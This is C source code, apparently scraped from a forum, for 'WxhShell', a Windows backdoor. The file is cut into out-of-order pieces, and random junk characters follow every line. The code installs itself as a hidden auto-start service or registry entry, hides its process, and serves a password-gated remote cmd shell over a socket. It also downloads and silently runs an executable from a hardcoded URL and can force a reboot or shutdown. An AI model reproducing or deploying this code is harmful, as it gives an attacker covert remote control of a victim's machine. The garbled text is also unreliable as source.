    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *v 8 ]99N  
    if(Boot(SHUTDOWN)) -J[D:P.Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a.Mp1W  
    else { h{h=',o1  
    closesocket(wsh); 60p1.;' /a  
    ExitThread(0); v h%\ " h  
    } Z4(2&t^  
    break; nrf%/L  
    } YqDw*S{  
  // 获取shell 2>H\arEstR  
  case 's': { 1fC|_V(0  
    CmdShell(wsh); ZU:gNO0  
    closesocket(wsh); hwXp=not(  
    ExitThread(0); R UX  
    break; [@\f 0R  
  } OsK=% aDpj  
  // 退出 DL~LSh  
  case 'x': { 4$|G$h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @*_K#3  
    CloseIt(wsh); g`Rs;  
    break; Xpa;F$VI  
    } ,O-lDzcw  
  // 离开 AOfQqGf  
  case 'q': { da-3hM!u+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k?";$C}#  
    closesocket(wsh); -(59F  
    WSACleanup(); j"NqNv  
    exit(1); dIf Jr}ih  
    break; t /47lYN)  
        } [UI bO@e  
  } ZPMEN,Dw  
  } cdh1~'q/  
\J13rL{<  
  // 提示信息 Q2NS>[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +(P;4ZOmB  
} =djzE`)0  
  } #z6[ 8B  
W>#[a %R  
  return; R5Pk>-KF  
} p>oC.[:4a  
(;!92ct[?  
// shell模块句柄 $;iMo/  
int CmdShell(SOCKET sock) :Oiz|b(  
{ 2JdzeJb  
STARTUPINFO si; NMs 8^O|0  
ZeroMemory(&si,sizeof(si)); U1ZKJ<pv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IN8G4\r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /O[<"Wcz  
PROCESS_INFORMATION ProcessInfo; O:E0htdWr  
char cmdline[]="cmd"; ^yLhL^Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PfR|\{(  
  return 0; }]#&U/z  
} 9epMw-)k  
<uYrYqN  
// 自身启动模式 8KyRD1 (-R  
int StartFromService(void) CZ 33|w  
{ TTa$wiW7'  
typedef struct oBO4a^D  
{ $-)T  
  DWORD ExitStatus; [I?[N.v  
  DWORD PebBaseAddress; <78*-Ob  
  DWORD AffinityMask; mv,5Q6!  
  DWORD BasePriority; r.q*S4IS.m  
  ULONG UniqueProcessId; v<@3&bot  
  ULONG InheritedFromUniqueProcessId; Q7.jSL6  
}   PROCESS_BASIC_INFORMATION; s\zY^(v4  
J!Q #xs  
PROCNTQSIP NtQueryInformationProcess; 6:~<L!`&  
Bs `mzA54  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Kf-XL ),3l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /a*8z,x  
*sQ.y {  
  HANDLE             hProcess; gR+P !Eow  
  PROCESS_BASIC_INFORMATION pbi; +Wl]1 c/  
hg %iv%1B'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); - {}(U  
  if(NULL == hInst ) return 0; m@Dra2Cv'@  
97[wz C,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =xQPg0g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \gu8 ~zK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2TG2<wqvE  
 aGOS 9  
  if (!NtQueryInformationProcess) return 0; `$Um  
#zv&h`gY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e"UXG\8D  
  if(!hProcess) return 0; * V7bALY  
?V}ub>J/=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sSf;j,7V  
k')H5h+Q=  
  CloseHandle(hProcess); nuDu  
u -)ED  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _Ss}dU9  
if(hProcess==NULL) return 0; k`o8(zPb  
?2_h.  
HMODULE hMod; /0cm7[a?  
char procName[255]; :f:&B8  
unsigned long cbNeeded; e_-7,5Co  
Rp;"]Q&b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #D#kw*c  
ju5o).!bg  
  CloseHandle(hProcess); f[vm]1#  
,cxe"U  
if(strstr(procName,"services")) return 1; // 以服务启动 [m4M#Lg\0  
r;)31Tg  
  return 0; // 注册表启动 AFM+`{Cq  
} $tF\7.e@  
}z#M!~  
// 主模块 1;KJUf[N  
int StartWxhshell(LPSTR lpCmdLine) #6 ni~d&0  
{ k]C k%[d  
  SOCKET wsl; V;g) P  
BOOL val=TRUE; (&87 zk  
  int port=0;  Lagk   
  struct sockaddr_in door; JU;`c>8=)  
$&qLr KJ  
  if(wscfg.ws_autoins) Install(); 3.Yg3&"Z  
k q]E@tE*3  
port=atoi(lpCmdLine); 8(&6*- 7=  
XZ{rKf2  
if(port<=0) port=wscfg.ws_port; *zN~x(0{E  
T`pDjT  
  WSADATA data; pEz^z9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~QlF(@u e  
E%;$vj'2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   glc<(V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Cg?Mk6i  
  door.sin_family = AF_INET; Aqmw#X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  Qe7=6<  
  door.sin_port = htons(port); 6$:Q]zR#'H  
`R xCs`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (J.Z+s$:2  
closesocket(wsl); fVgN8b|&'  
return 1; {$Uj&/IC  
} }apno|W&  
CbW[_\  
  if(listen(wsl,2) == INVALID_SOCKET) { s3m \  
closesocket(wsl); ]P#W\LZp  
return 1; N$ #~&  
} J)y g<*/3  
  Wxhshell(wsl); i$p2am8f  
  WSACleanup(); [ `1` E1X  
]Jm\k'u[  
return 0; Y'm;xA  
/O.Ql ,6[  
} YmFg#eS  
7P(jMalq  
// 以NT服务方式启动 9G2rVk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jIr\.i  
{ &4KUXn[F  
DWORD   status = 0; 2A@oa9  
  DWORD   specificError = 0xfffffff; l'_]0%o]  
~E((n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %qo.n v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *xpn-hCp<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MZX)znO  
  serviceStatus.dwWin32ExitCode     = 0; Li|~%E1  
  serviceStatus.dwServiceSpecificExitCode = 0; Z2yO /$<  
  serviceStatus.dwCheckPoint       = 0; fNu/>pN  
  serviceStatus.dwWaitHint       = 0; n.a2%,|v  
r5UV BV8T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sRZ<c  
  if (hServiceStatusHandle==0) return; !ry+{v+A  
axt;}8  
status = GetLastError(); [jlum>K  
  if (status!=NO_ERROR) e(a,nZF.  
{ ]NBx5m+y@i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xR%NiYNQz  
    serviceStatus.dwCheckPoint       = 0; GRYw_}Aa  
    serviceStatus.dwWaitHint       = 0; rjWtioZEa  
    serviceStatus.dwWin32ExitCode     = status; (pv}>1  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0fBwy/:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T:'JA  
    return; ebJTrh<{  
  } &PL=nI\)  
L[9Kh&c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $.$nv~f  
  serviceStatus.dwCheckPoint       = 0; h9im S\gfr  
  serviceStatus.dwWaitHint       = 0; o938!jML_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7?uDh'utt  
} v!ai_d^  
s+fxv(,"c  
// 处理NT服务事件,比如:启动、停止 !',%kvJI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @{fwM;me]P  
{ hGrX,.zj  
switch(fdwControl) X)iI]   
{ o[ks-C>jw  
case SERVICE_CONTROL_STOP: +FadOx7X$  
  serviceStatus.dwWin32ExitCode = 0; +:ms`Sr>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }PBL  
  serviceStatus.dwCheckPoint   = 0; n!~ $Z/  
  serviceStatus.dwWaitHint     = 0; f1'X<VA  
  { c-(dm:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tw<Oy^ i  
  } Dzu//_u  
  return; @|t]9  
case SERVICE_CONTROL_PAUSE: tKe-Dk9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eHs38X  
  break; CEw%_U@8  
case SERVICE_CONTROL_CONTINUE: yF6AI@y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xYv;l\20.  
  break; Da8gOZ  
case SERVICE_CONTROL_INTERROGATE: +HUy,@^ Pa  
  break; yl@Nyu  
}; DBaZcO(U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hO3 q|SL  
} 5RWqHPw+  
(2Lmu[  
// 标准应用程序主函数 #T>?g5I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) oGI'a:iff  
{ GJQ>VI2cY  
^J hs/HV  
// 获取操作系统版本 xq,ql@7  
OsIsNt=GetOsVer(); S!$S'{f<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pi#a!Quf\  
B?^~1Ua9Zv  
  // 从命令行安装 )hQ]>o@i{  
  if(strpbrk(lpCmdLine,"iI")) Install(); P=<lY},  
73'AQ")UJ  
  // 下载执行文件 #7'k'(  
if(wscfg.ws_downexe) { 8pr toCB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8`)* ?Q9~  
  WinExec(wscfg.ws_filenam,SW_HIDE); rloxM~7!,)  
} JtMl/h  
LdOme [C1  
if(!OsIsNt) { b|Ge#o  
// 如果时win9x,隐藏进程并且设置为注册表启动 8:S+*J[gSn  
HideProc(); )h0>e9z>Y  
StartWxhshell(lpCmdLine); }|;j2'(R  
} k}nGgd6XD  
else 7_jt =sr  
  if(StartFromService()) +p jB/#4  
  // 以服务方式启动 r 9M3rj]  
  StartServiceCtrlDispatcher(DispatchTable); &3"ODAp'  
else /&47qU4PJ  
  // 普通方式启动 )l m7ly8a|  
  StartWxhshell(lpCmdLine); 9-_Lc<  
ZQ`4'|"  
return 0; )OFN0'  
} s.;'-oA  
HfH_jnR*  
z ULH gG  
^pew'p HQ  
=========================================== qHyOaK Md  
tQT<1Q02i  
ZRw^< +  
~(tt.l#  
SQU@JKi; g  
'?.']U,: $  
" <v_Wh@m  
0<4'pO.6Hq  
#include <stdio.h> | ~>7_:  
#include <string.h> @C[p?ak  
#include <windows.h> iI'ib-d  
#include <winsock2.h> ' i5}`\  
#include <winsvc.h> 7 u Q +]d  
#include <urlmon.h> l'2vo=IQ  
2{ l|<'  
#pragma comment (lib, "Ws2_32.lib") rbv  
#pragma comment (lib, "urlmon.lib") 0d:t=LKw)  
@sZ' --Y  
#define MAX_USER   100 // 最大客户端连接数 $ Fc}K+  
#define BUF_SOCK   200 // sock buffer IS[q'Cv*  
#define KEY_BUFF   255 // 输入 buffer Uh1UZ r  
KkzG#'I1  
#define REBOOT     0   // 重启 [z7]@v6b  
#define SHUTDOWN   1   // 关机 n,-*$~{  
0%HAa|L,,  
#define DEF_PORT   5000 // 监听端口 OaoHN& "  
V^n=@CZT9C  
#define REG_LEN     16   // 注册表键长度 4~oRcO8!Y  
#define SVC_LEN     80   // NT服务名长度 4XiQ8"C  
MZX@Gi<S[  
// 从dll定义API #ifjQ7(:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &io+*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V}2[chbl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q=[ IO,f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V5 9Vf[i|  
Ag(JSVY  
// wxhshell配置信息 n >E1\($  
struct WSCFG { `W1TqA  
  int ws_port;         // 监听端口 bng/v  
  char ws_passstr[REG_LEN]; // 口令 `8\" 3S  
  int ws_autoins;       // 安装标记, 1=yes 0=no \>j@! W  
  char ws_regname[REG_LEN]; // 注册表键名 |VyN>&r~6  
  char ws_svcname[REG_LEN]; // 服务名 %|R]nB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C\{hN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D6yE/QeK4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (otD4VR_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [{`&a#Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Gw6!cp|/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j#p3<V S4  
mmNn,>AO!  
}; k"/}9[6:U5  
g*4^HbVxt  
// default Wxhshell configuration w; f LnEz_  
struct WSCFG wscfg={DEF_PORT, *'{9(Oj  
    "xuhuanlingzhe", zY4y]k8D*  
    1, A&-2f]L tl  
    "Wxhshell", wYv++< z  
    "Wxhshell", {[{jl G4H  
            "WxhShell Service", )7E7K%:b,  
    "Wrsky Windows CmdShell Service", l u{6  
    "Please Input Your Password: ", Nh4&3"g|  
  1, mv/ Nz?  
  "http://www.wrsky.com/wxhshell.exe", YXU2UIY<~  
  "Wxhshell.exe" bQ0+Y?,+/  
    }; Q+U" %   
RW Jyd=  
// 消息定义模块 Mt~2&$>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; { "f} }}l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~qA\u5sB9@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HMKogGTTo  
char *msg_ws_ext="\n\rExit."; Te^_gdf  
char *msg_ws_end="\n\rQuit."; 2,h]Y=.s  
char *msg_ws_boot="\n\rReboot..."; @'J[T:e  
char *msg_ws_poff="\n\rShutdown..."; m^tf=O<  
char *msg_ws_down="\n\rSave to "; +ul.P)1J6  
UH5A;SrTqR  
char *msg_ws_err="\n\rErr!"; 9m%+6#|  
char *msg_ws_ok="\n\rOK!"; PnI_W84z  
`@<)#9'A  
char ExeFile[MAX_PATH]; H]{`q  
int nUser = 0; AC?a:{ ./  
HANDLE handles[MAX_USER]; )Tn(!.  
int OsIsNt; W#x~x|(c  
3X`N~_+  
SERVICE_STATUS       serviceStatus; `cRRdD:dA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZYTBc#f  
qFY>/fCP4  
// 函数声明 _Vt CC/  
int Install(void); Z =*h9,MY  
int Uninstall(void); .;:dG  
int DownloadFile(char *sURL, SOCKET wsh); '@5"p.  
int Boot(int flag); r!p:73L8  
void HideProc(void); U)('}u=b  
int GetOsVer(void); {-)I2GJav  
int Wxhshell(SOCKET wsl); *OY Nx4k  
void TalkWithClient(void *cs); [O3)s]|  
int CmdShell(SOCKET sock); bW^{I,b<F  
int StartFromService(void); lygv#s-T  
int StartWxhshell(LPSTR lpCmdLine); c 1{nOx  
msZ 3%L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mbIHzzW>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qI2&a$Zb$  
Rw!_j!  
// 数据结构和表定义 -JdNA2P  
SERVICE_TABLE_ENTRY DispatchTable[] = eqU y>  
{ -9q3]nmT(  
{wscfg.ws_svcname, NTServiceMain}, +,4u1`c|$  
{NULL, NULL} >Qs{LEsLb  
}; }I~)o!N%7  
'u:J "  
// 自我安装 x 4`RKv2m  
int Install(void) OT3~5j1[  
{ L\t?^u  
  char svExeFile[MAX_PATH]; iGIry^D  
  HKEY key; -EWC3,3  
  strcpy(svExeFile,ExeFile); Ap<j;s4`  
G;^,T/q47  
// 如果是win9x系统,修改注册表设为自启动 ;fm> \f  
if(!OsIsNt) { F%:o6mT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jG/@kh*m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \{}5VVw-S?  
  RegCloseKey(key); yOm#c>X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %u*HNo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f2i9UZ$=e!  
  RegCloseKey(key); 207h$a,  
  return 0; n,b6|Y0  
    } b}m@2DR'|m  
  } j k/-7/r  
} ?s9f}>  
else { BBRZlx  
6'1Lu1w  
// 如果是NT以上系统,安装为系统服务 &MJ`rj[%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q.d qr<  
if (schSCManager!=0) 6JE_rAab  
{ )3)fq:[  
  SC_HANDLE schService = CreateService s'k} .}  
  ( @8|i@S@4  
  schSCManager, A=BT2j'l)  
  wscfg.ws_svcname, gq&jNj7V  
  wscfg.ws_svcdisp, c #8@>;  
  SERVICE_ALL_ACCESS, ~{{@m]P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .;%`I  
  SERVICE_AUTO_START, e+wINW  
  SERVICE_ERROR_NORMAL, 94u~:'t>V  
  svExeFile, FLaj|Z~#)  
  NULL, -@mcu{&  
  NULL, jUrUM.CJ\N  
  NULL, (bGk=q=M  
  NULL, OT}P0 ~4s  
  NULL j%fi*2uX  
  ); r5PZ=+F  
  if (schService!=0) RtF!(gd  
  { <y,c.\c!  
  CloseServiceHandle(schService); J''lOj(@  
  CloseServiceHandle(schSCManager); 2:&QBwr+;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Poxoc-s  
  strcat(svExeFile,wscfg.ws_svcname); h%Uq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F&D ,y-CQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H8qWY"<Vd  
  RegCloseKey(key); c) _u^Dh  
  return 0; 7O'u5 N  
    } `/o|1vv@_  
  } MUMB\K*$  
  CloseServiceHandle(schSCManager); 8k?V&J `  
} k~=P0";  
} cs)R8vuB)z  
DfVSG1g  
return 1; !r9~K^EI  
} ` 6pz9j]  
<P-AlHYV-  
// 自我卸载 Xb1is\JB  
int Uninstall(void) mN'sJ1L-  
{ pzxlh(a9  
  HKEY key; mJME1#j$/|  
dX DuO  
if(!OsIsNt) { :<xf'.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cp4~`X  
  RegDeleteValue(key,wscfg.ws_regname); L:Me  
  RegCloseKey(key); q`HK4~i,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { - *xn`DH  
  RegDeleteValue(key,wscfg.ws_regname); PH=O>a`a_O  
  RegCloseKey(key); .zvvk  
  return 0; OQ4rJ#b  
  } [m9=e-KS$Q  
} /X?%K't2r  
} Q-||A  
else { py9`q7F  
6bBNC2K$-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6V-JyTcxGI  
if (schSCManager!=0) 3+V.9TL'a  
{ {N@tJ,Fh{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p}q]GJ  
  if (schService!=0) 6tup^Rlo;$  
  { 2z9N/SyN  
  if(DeleteService(schService)!=0) { +e&Q<q!,q  
  CloseServiceHandle(schService); 6#kK  
  CloseServiceHandle(schSCManager); aY\(R02B  
  return 0; &M2fcw?  
  } }Hb_8P  
  CloseServiceHandle(schService); ,ydn]0SS  
  } ?1Uq ud  
  CloseServiceHandle(schSCManager); C.+:FY.H  
} HLl"=m1/>  
} HvW6=d(#  
&e5,\TQ  
return 1; d>x(Bj6  
} &;$- &;  
-m Sf`1l0  
// 从指定url下载文件 fs*OR2YG7  
int DownloadFile(char *sURL, SOCKET wsh) $H1igYc  
{ +aRHMH  
  HRESULT hr; ZnD(RM  
char seps[]= "/"; 3s Mmg`  
char *token; '#CYw=S+  
char *file; Z8WBOf*~e  
char myURL[MAX_PATH]; 4_o+gG%HaM  
char myFILE[MAX_PATH]; p.!p6ve){  
@;>Xy!G  
strcpy(myURL,sURL); kj'  
  token=strtok(myURL,seps); d6~d)E  
  while(token!=NULL) 7OLchf  
  { Lq{/r+tt/  
    file=token; CV *  
  token=strtok(NULL,seps); (0zYS_m A  
  } G/V0Yn""  
S?# 'Y*h  
GetCurrentDirectory(MAX_PATH,myFILE); Xh`Oin}<  
strcat(myFILE, "\\"); ^-7-jZ@jz  
strcat(myFILE, file); IdciGS6 t  
  send(wsh,myFILE,strlen(myFILE),0); n$3w=9EX *  
send(wsh,"...",3,0); 1Ewg_/R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +!"7=?}  
  if(hr==S_OK) A|BN >?.t  
return 0; Ms=11C  
else 61`tQFx,  
return 1; PsI{y&.  
:6}cczQE|O  
} A]m_&A#  
2w /qH4  
// 系统电源模块 A9M/n^61  
int Boot(int flag) F1&7m )f$l  
{ [3io6XG x@  
  HANDLE hToken; @{x+ln1r  
  TOKEN_PRIVILEGES tkp; jx8hh}C  
#5_pE1  
  if(OsIsNt) { <W88;d33r=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); luV_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^j]"5@f  
    tkp.PrivilegeCount = 1; scR+F'M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hV"2L4/E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wm/>_  
if(flag==REBOOT) { L'}^Av_+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T1fX[R ^\  
  return 0; [300F=R  
} 60%EmX ;  
else { f'B#h;`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *G;D u`;  
  return 0; kl9<l*  
} RUlJP  
  } g<N3 L [  
  else { T!gq Z  
if(flag==REBOOT) { ,:"c"   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N;XJMk_ H  
  return 0; '2c4 4F)i  
} u^&,~n@n7  
else { ;#6j9M0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~n!7 ?4%U  
  return 0; `jH0FJQ  
} *(]@T@yN  
} -Hu]2J)  
5 }F6s  
return 1; xm}`6B^f  
} ' $X}'u  
t^@4n&Dg  
// win9x进程隐藏模块 Q OP8{~O  
void HideProc(void) ~CL^%\K  
{ Xu&4|$wB+  
8sxH)"S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q5qQ%cu  
  if ( hKernel != NULL ) zj9aaZ}  
  { NI% ()  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RBM4_L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vt-5 3fa|  
    FreeLibrary(hKernel); LjA>H>8%[  
  } Z  )dz  
Og3bV_,"  
return; h` $2/%?  
} <y5f[HjLy  
xT1{O`  
// 获取操作系统版本 NX4}o&mDwn  
int GetOsVer(void) #y%?A;  
{ 3RTraF  
  OSVERSIONINFO winfo; ^YG.eT6iG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S vR? nN|  
  GetVersionEx(&winfo); d ;W(Vm6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0q ^dpM  
  return 1; fr<, LC.  
  else jNA^ (|:  
  return 0; 8y, ]>n  
} N/fH%AtM  
(l3P<[[?  
// 客户端句柄模块 'F@#.Op`  
int Wxhshell(SOCKET wsl) 5=--+8[ bV  
{ `Dco!ih  
  SOCKET wsh; 4aQb+t,  
  struct sockaddr_in client; [1*3 kt*h  
  DWORD myID; D*R49hja{  
&% \`Lwh  
  while(nUser<MAX_USER) V+kU^mI  
{ Zu/}TS9bi  
  int nSize=sizeof(client); X4R+Frt8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cSSrMYX2  
  if(wsh==INVALID_SOCKET) return 1; q0hg0 DC[;  
8Dq;QH}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c{u~=24;%#  
if(handles[nUser]==0) \VX~'pkrd/  
  closesocket(wsh); NN9` jP2  
else uE6;;Ir#mF  
  nUser++; V3u[{^^f  
  } ?>W4*8 (  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z) zWfv}  
>"Z^8J  
  return 0; LA.xLU3  
} }bVWV0Aeim  
0/."R ;  
// 关闭 socket &ns !\!  
void CloseIt(SOCKET wsh) Sh=Px9'i  
{ _/_1:ivY8  
closesocket(wsh); *kXSl73 k  
nUser--; heliL/  
ExitThread(0); s}d1 k  
} oO4 Wwi  
/QsFeH  
// 客户端请求句柄 \1[I(u  
void TalkWithClient(void *cs) j3bTa|UdT  
{ iTt"Ik'  
XLK#=YTI  
  SOCKET wsh=(SOCKET)cs; .oq!Ys4KA  
  char pwd[SVC_LEN]; >69+e+|I  
  char cmd[KEY_BUFF]; y#AwuC K  
char chr[1]; e'oM% G[  
int i,j; ,x?H]a)  
]Ph~-O  
  while (nUser < MAX_USER) { gOI #$-L  
Ds$8$1=L=k  
if(wscfg.ws_passstr) { 0}YR=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %:n1S]Vr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mAFqA  
  //ZeroMemory(pwd,KEY_BUFF); _M+'30  
      i=0; kSH3)CC P  
  while(i<SVC_LEN) { ^A^,/3  
EdA_Hf  
  // 设置超时 q!k  F  
  fd_set FdRead; \`#;J?Y|`F  
  struct timeval TimeOut; :".:Wd  
  FD_ZERO(&FdRead); FDaHsiI:  
  FD_SET(wsh,&FdRead); J'4{+Q_pa  
  TimeOut.tv_sec=8; zYdSg<[^  
  TimeOut.tv_usec=0; . *>LD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :<=!v5 SK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +(5H$O{h  
R0;c'W)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v#.FK:u}  
  pwd=chr[0]; hi>Ii2T  
  if(chr[0]==0xd || chr[0]==0xa) { Qw^nN(K!>  
  pwd=0; kwdmw_  
  break; UM7Ft"  
  } Tk9*@kqv  
  i++; 0k>NuIIP  
    } 6rL'hB!!]*  
9u1)Kr=e  
  // 如果是非法用户,关闭 socket n<Z;Xh~F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N10'./c K  
} R! ?8F4G  
XZuJ<]}X,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (o{-1Dg)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q|om^:n.  
n.67f  
while(1) { knpb$eX4  
|Wj)kr !|  
  ZeroMemory(cmd,KEY_BUFF);  2 Ua_7  
BgD;"GD*W  
      // 自动支持客户端 telnet标准   P6S^wjk  
  j=0; 7*OO k"9  
  while(j<KEY_BUFF) {  OnF +  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ][:6En}  
  cmd[j]=chr[0]; }_0?S0<#  
  if(chr[0]==0xa || chr[0]==0xd) { Ka2U@fK"  
  cmd[j]=0; .%3bXK+F  
  break; AZorzQ]s  
  } ZP*Hx %U  
  j++; o&g=Z4jj<  
    } 29 u"\f a  
BkA>':bUr  
  // 下载文件 uwQ{y>SG  
  if(strstr(cmd,"http://")) { v@`#!iu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;f[Ki$7  
  if(DownloadFile(cmd,wsh)) 2#@S6zc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +KDB^{  
  else sL~TV([6/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6"[`"~9'V  
  } 3A4?9>g)KU  
